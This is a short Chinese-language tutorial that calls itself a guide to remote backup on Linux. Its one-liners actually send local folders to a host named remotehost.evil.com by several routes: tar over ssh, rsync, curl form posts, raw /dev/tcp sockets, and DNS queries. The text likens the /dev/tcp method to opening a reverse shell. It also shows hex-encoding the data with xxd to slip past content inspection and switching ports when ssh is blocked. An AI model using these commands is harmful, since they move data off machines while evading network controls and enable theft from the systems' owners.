Linux 下远程备份数据库和文件的方法

1. tar over ssh

一边 tar 一边通过 ssh 传到服务器并且自动解压缩，最后会得到远程服务器上文件夹的一份完美备份，并且在目标服务器上不会写入任何文件。

```
tar zcf - /some/localfolder | ssh remotehost.evil.com "cd /some/path/name; tar zxpf -"
```

2. rsync over ssh

通过 ssh 隧道同步，要求是本地服务器要安装了 rsync

```
rsync -aH localhost remotehost.evil.com:/some/path/name
```

假如 ssh 默认的 22 端口被封，那么你可以用 ssh -p 或者 rysnc --port 指定端口，比如可以把 ssh 服务器开到 80 或者 443 端口。

如果连 SSH 协议都被封了呢，怎么换端口都没用怎么办？别怕，我们可以把数据通过 https 发送：

```
tar zcf - localfolder | curl -F "data=@-" https://remotehost.evil.com/script.php
```

curl -F 表示通过伪表单用 Post 方式发送数据

当然，你还要在本地建一个 script.php 用来收取数据然后写入到文件才行，并且 web 服务器要支持 ssl 并且有 https 证书。

不过 curl 在很多 linux 发行版里面都没有默认安装，所以还是有时候还是不太靠谱。

那么现在不能用 ssh 也不能用 curl，那怎么办？

3. 直接通过 tcp 发送

```
tar zcf - localfolder >/dev/tcp/remotehost.evil.com/443
```

大家看这个方式是不是有点眼熟？没错，就是和弹 shell 的方法差不多，只不过这次我们用来传送文件。

效果和用 nc 传文件是一样的。假如远程服务器和网络还有内容检测的话，我们还可以对文件进行一些编码来混淆，比如用 xxd 命令转换成 16 进制 dump

```
tar zcf - localfolder | xxd -p >/dev/tcp/remotehost.evil.com/443
```

本地服务器可以用 xxd -r 来还原源文件

其实除了 xxd，用 base64 也不错，就是有点明显……

4. 用 DNS 来传送数据

```
tar zcf - localfolder | xxd -p -c 16 |
   while read line; do host $line.domain.com remotehost.evil.com; done
```

把打包后的数据用 16 进制编码，每行 16 字节，这样在通过 dns 发送到时候就不会因为超长导致出错。然后我们限制每次只发送 1 个 ping 数据包，减少发送时间。